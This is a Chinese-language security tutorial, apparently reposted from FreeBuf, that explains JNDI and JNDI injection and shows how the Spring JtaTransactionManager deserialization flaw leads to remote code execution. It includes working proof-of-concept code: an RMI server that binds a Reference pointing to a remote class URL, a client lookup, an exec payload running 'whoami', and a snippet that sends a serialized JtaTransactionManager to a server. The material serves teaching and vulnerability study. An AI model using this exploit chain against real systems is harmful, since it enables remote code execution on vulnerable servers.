Jndi注入及Spring RCE漏洞分析

www.96kaifa.com | 2016-10-30 |

摘要:* 本文原创作者:碳烤鱿鱼丝,本文属FreeBuf原创奖励计划,未经许可禁止转载
前言
由于之前一直在外出差,好久没有做研究了,十一期间重新关注了2016 BlackHat上面的议题,其中jndi注入引起了我的关注,本文主要分…...

* 本文原创作者:碳烤鱿鱼丝,本文属FreeBuf原创奖励计划,未经许可禁止转载

前言

由于之前一直在外出差,好久没有做研究了,十一期间重新关注了2016 BlackHat上面的议题,其中jndi注入引起了我的关注,本文主要分为以下3个部分,理解jndi、    分析jndi注入问题,以及Srping RCE漏洞形成的原因。本文属于基础文档,大牛绕过勿喷~ 

文章目录

理解jndi

jndi注入产生的原因

Spring RCE与Jndi注入之间的关系

demo

2016BlackHat中的jndi议题原文在:BlackHat

英文好的同学可以去阅读原文。

理解JNDI

Jndi 全称是:Java Naming and Directory Interface,叫做Java命名和目录接口、SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互、如图:

1.png

Java Naming:

命名服务是一种键值对的绑定,是应用程序可以通过键检索值

Java Directory:

目录服务是命名服务的自然扩展。两者之间的关键差别是目录服务中对象可以有属性(例如,用户有email地址),而命名服务中对象没有属性。因此,在目录服务中,你可以根据属性搜索对象。JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问象LDAP这样的目录服务,定位网络上的EJB组件 

如图所示的层级结果,通俗理解jndi就是,一组api接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索制定的对象(object),对象可能存储在rmi,ldap,CORBA等等。在jndi中提供了绑定和查找的方法,jndi将name和object绑定在了一起,在这基础上提供了lookup,search功能

1、void bind( String name , Object object ) //将名称绑定到对象

2、Object lookup( String name ) //通过名字检索执行的对象

下面写一个jdni的demo帮助理解:

我们定义一个Person类

    import java.io.Serializable;  

    import java.rmi.Remote;  

    public class Person implements Remote,Serializable {  

    private static final long serialVersionUID = 1L;  

    private String name;  

    private String password;  

    public String getName() {  

        return name;  

    }  

    public void setName(String name) {  

        this.name = name;  

    }  

    public String getPassword() {  

        return password;  

    }  

    public void setPassword(String password) {  

        this.password = password;  

    }  

    public String toString(){  

        return "name:"+name+" password:"+password;  

    }  

    }  

这里服务端以rmi为例,

    package com.jndi.demo;

    import java.rmi.RemoteException;

    import java.rmi.registry.LocateRegistry;

    import javax.naming.Context;

    import javax.naming.InitialContext;

    import javax.naming.NamingException;

    import javax.naming.spi.NamingManager;

    public class Test {

    public static void initPerson() throws Exception{

        //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常

        LocateRegistry.createRegistry(3001);

        System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001");

        ////初始化

        InitialContext ctx = new InitialContext();

        

        //实例化person对象

        Person p = new Person();

        p.setName("hello");

        p.setPassword("jndi");

        

        //person对象绑定到JNDI服务中,JNDI的名字叫做:person。

        ctx.bind("person", p);

        ctx.close();

    }

    

    public static void findPerson() throws Exception{

        //因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中,这里就不用在绑定了

        InitialContext ctx = new InitialContext();

        //通过lookup查找person对象

        Person person = (Person) ctx.lookup("person");

        //打印出这个对象

        System.out.println(person.toString());

        ctx.close();

    }

    

    public static void main(String[] args) throws Exception {

        initPerson();

        findPerson();

    }

    }

运行结果如图:

2.png

使用debug更直观的描述整个流程:

3.png

4.png

从上图可以清楚的看到,在initPerson方法中,注册了rmi服务并绑定了端口,给p对象命名为person,在findPerson方法中查找被命名为person的对象,然后通过。最终输出了hello jndi。

Jndi Naming Reference:

java为了将object对象存储在Naming或者Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中,当被调用的时候,对象的方法就会被触发。理解了jndi和jndi reference后,就可以理解jndi注入产生的原因了。

Jndi注入产生的原因

Applications should not perform JNDI lookups with untrusted data

jndi注入产生的原因可以归结到以下4点

1、lookup参数可控。

2、InitialContext类及他的子类的lookup方法允许动态协议转换

3、lookup查找的对象是Reference类型及其子类

4、当远程调用类的时候默认会在rmi服务器中的classpath中查找,如果不存在就会去url地址去加载类。如果都加载不到就会失败。

我们跟进lookup函数:

    public Object lookup(String name) throws NamingException {

        return getURLOrDefaultInitCtx(name).lookup(name);

    }

继续跟进getURLOrDefaultInitCtx函数,

5.png

发现getURLOrDefaultInitCtx会返回两种情况,

第一种getDefaultInit(),

第二种是getUrlContext(scheme,myPorps)。

这说明即使 Context.PROVIDER_URL参数被初为rmi://127.0.0.1:1099/foo,但是如果lookup的参数可控,那我们就可以重写url地址,使url地址指向我们的服务器。例如:

  // Create the initial context

    Hashtable env = new Hashtable();

    env.put(Context.INITIAL_CONTEXT_FACTORY,

     "com.sun.jndi.rmi.registry.RegistryContextFactory");

    env.put(Context.PROVIDER_URL, "rmi://secure-server:1099");

    Context ctx = new InitialContext(env);

    // Look up in the local RMI registry

    Object local_obj = ctx.lookup(<attacker controlled>);

就可以实现远程加载恶意的对象,实现远程代码执行。

我们发现存在3种方法,可以通过jndi注入导致远程代码执行:

rmi、通过jndi reference远程调用object方法。

CORBA IOR 远程获取实现类

LDAP 通过序列化对象,JNDI Referene,ldap地址

demo2 jndi注入例子:

Server端:

import com.sun.jndi.rmi.registry.ReferenceWrapper;

    import javax.naming.Reference;

    import java.rmi.registry.Registry;

    import java.rmi.registry.LocateRegistry;

    public class SERVER {

    public static void main(String args[]) throws Exception {

        Registry registry = LocateRegistry.createRegistry(1099);

        Reference aa = new Reference("ExecObj", "ExecObj", "http://127.0.0.1:8081/");

        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);

        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");

        registry.bind("aa", refObjWrapper);

    }

    }

Client端:

import javax.naming.Context;

    import javax.naming.InitialContext;

    public class CLIENT {

    public static void main(String[] args) throws Exception {

        String uri = "rmi://127.0.0.1:1099/aa";

        Context ctx = new InitialContext();

        ctx.lookup(uri);

    }

    }

ExecObj:

  package com.jndi.cn;

    import java.io.BufferedReader;

    import java.io.IOException;

    import java.io.InputStream;

    import java.io.InputStreamReader;

    import java.io.Reader;

    import javax.print.attribute.standard.PrinterMessageFromOperator;

    public class ExecTest {

    public static void main(String[] args) throws IOException,InterruptedException{

        String cmd="whoami";

        final Process process = Runtime.getRuntime().exec(cmd);

        printMessage(process.getInputStream());;

        printMessage(process.getErrorStream());

        int value=process.waitFor();

        System.out.println(value);

    }

    private static void printMessage(final InputStream input) {

        // TODO Auto-generated method stub

        new Thread (new Runnable() {

            

            @Override

            public void run() {

                // TODO Auto-generated method stub

                Reader reader =new InputStreamReader(input);

                BufferedReader bf = new BufferedReader(reader);

                String line = null;

                try {

                    while ((line=bf.readLine())!=null)

                    {

                        System.out.println(line);

                    }

                }catch (IOException  e){

                    e.printStackTrace();

                }

            }

        }).start();

        

    }

    }

首先javac ExecObj、将生成的class文件放在web服务器目录下。然后依次执行server端,client端

运行结果如图:

6.png

7.png

Spring RCE

Spring RCE形成的主要原因是 Spring框架的spring-tx-xxx.jar中的org.springframework.transaction.jta.JtaTransactionManager 存在一个readObject方法。当执行对象反序列化的时候,会执行lookup操作,导致了jndi注入,可以导致远程代码执行问题,具体原因在这里不分析了,在iswin师傅的博文里有详细的分析。

8.png

9.png

到这里漏洞的成因就比较清晰了,这里的userTransactionName变量我们可以控制,通过setter方法可以初始化该变量,这里userTransactionName可以是rmi的调用地址(例如,userTransactionName=”rmi://127.0.0.1:1999/Object”),只要控制userTransactionName变量,就可以触发JNDI的RCE,继续跟进lookupUserTransaction方法

10.png

导致jndi的RCE导致了Spring Framework反序列化的产生

关键代码:

String jndiAddress = "rmi://127.0.0.1:1999/Object";

    JtaTransactionManager object = new JtaTransactionManager();

    ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());

    objectOutputStream.writeObject(object);

    objectOutputStream.flush();

当我们把这段序列化的对象发送给服务端的时候,就会触发jndi rce漏洞。

11.png

完整的poc:GitHub

参考

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

http://zerothoughts.tumblr.com/](http://zerothoughts.tumblr.com/

https://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%E5%88%A9%E7%94%A8/

* 本文原创作者:碳烤鱿鱼丝,本文属FreeBuf原创奖励计划,未经许可禁止转载